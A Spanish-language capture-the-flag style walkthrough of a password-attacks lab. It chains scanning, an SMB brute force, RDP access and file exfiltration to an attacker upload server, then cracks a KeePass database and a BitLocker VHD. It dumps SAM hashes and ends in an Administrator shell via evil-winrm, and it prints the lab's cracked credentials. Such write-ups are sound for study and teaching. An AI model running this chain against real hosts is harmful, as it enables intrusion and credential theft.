Laboratorio de Ataques de Contraseña - Díficil
Enunciado
El siguiente host es un cliente basado en Windows. Al igual que en las evaluaciones anteriores, nuestro cliente desea asegurarse de que un atacante no pueda acceder a ningún archivo confidencial en caso de un ataque exitoso. Mientras nuestros compañeros estaban ocupados con otros hosts de la red, descubrimos que el usuario Johanna
está presente en muchos hosts. Sin embargo, aún no hemos podido determinar el motivo exacto de esto.
De entrada nos están dando un posible usuario, más adelante vemos donde lo podemos usar.
Enumeración de puertos
Vamos con lo básico a ver qué servicios están corriendo sobre el servidor.
nmap -p- -sS --min-rate 2000 -n -Pn <IP>
Vemos que tenemos los puertos 111, 135, 139, 445, 2049, 3389, 5985, etc, abiertos, vamos a recoger más información de los servicios que hay corriendo en cada puerto que nos salió a ver si vemos algo interesante.
nmap -p22,111,135,139,445,2049,3389,5985,47001,49664,49668 -sCV -n -Pn <IP>
Donde vemos que el Nombre de la Máquina es WINSRV, nos da una versión de Windows de 10.0.17763.
Empezamos a enumerar servicios y nos encontramos que en en el puerto 445 con el usuario que nos dieron al principio johanna
y la lista de password mutada con las custom rules.
Hacemos un ataque de fuerza bruta sobre ese servicio de la siguiente forma:
crackmapexec smb <IP> -u johanna -p /.../mut_password.list
Listamos la información del servidor con las credenciales:
smbclient -L //10.129.67.26/ -U Johanna
#password
Vemos que hay un recurso david
el cual intentamos listar pero con el usuario johanna
no tenemos los permisos para ver nada.
Con las credenciales del usuario johanna
podemos acceder por rdp
a su escritorio
xfreerdp3 /v:<IP> /u:johanna /p:'1231234!'
Y vemos que en el directorio Documents hay un archivo del keepass, nos lo copiamos para local para trabajarlo más cómodo.
Nos vamos a instalar una herramienta para montar un servidor web sencillo y subir el archivo desde windows a nuestra máquina Linux.
python3 -m pip install uploadserver
python3 -m uploadserver
Nos lo instalamos así y procedemos a usarlo:
En la máquina windows ponemos en el navegador
http://<IP>:8000
accedemos a la primera opción (File Upload) y subimos el archivo.
Luego vamos al directorio donde nos descarga el archivo y le ejecutamos el siguiente comando para intentar crackear la contraseña.
keepass2john Logins.kdbx > keepas.hash
john --wordlist=/.../mut_password.list keepas.hash
Procedemos a entrar al archivo Logins.kdbx
Tenemos david:gRzX7YbeTcDG7
Recordemos que en el puerto 445 esta corriendo un smb donde hay un recurso llamado david al que ahora podemos intentar acceder
smbclient //<IP>/david -U david --option='client min protocol=SMB2'
#Password
Y vemos que tenemos un archivo backup.vhd Nos lo bajamos para trabajarlo en local(se demora un poco en bajarse porque pesa como 130 mb)
Ahora con la herramienta bitlocker2john vamos a extraer los hashes para intentar crackearlos con las wordlists posteriormente.
bitlocker2john -i Backup.vhd > backup.hashes
Dentro de los hashes seleccionamos el de bitlocker
:
Procedemos a crackear el hash con la mut_password
hashcat -m 22100 backup.hash /.../mut_password.list -o backup.cracked
Vamos a montar el Backup.vhd como un dispositovo de almacenamiento para intentar acceder a los datos que en el se almacenan.
sudo losetup --partscan --find --show Backup.vhd
Luego vemos que en slot 5 esta la partición de datos donde debe estar la información.
mmls Backup.vhd
Desbloqueamos el disco utilizando la contraseña que crakeamos:
sudo dislocker -V /dev/loop9p2 -u123456789! -- /mnt/bitlocker
Montamos el volumen que dislocker
crea:
mkdir /mnt/bitlocker
mkdir /mnt/bitlocker_mount
sudo mount -o loop /mnt/bitlocker/dislocker-file /mnt/bitlocker_mount
Y vemos su contenido:
ls /mnt/bitlocker_mount
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Copiamos la linea de administrator para una archivo yo le puse adm.hash y le pasamos el john para crackerar el hash
john --wordlist=/.../mut_passwd.list adm.hash --format=NT
Ya con las credenciales de Administrator podemos usar evilwinrm y acceder a la flag.
evil-winrm -i <IP> -u Administrator
#Password
Y nos movemos al directorio indicado.
Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.
Escríbeme por cualquiera de las vías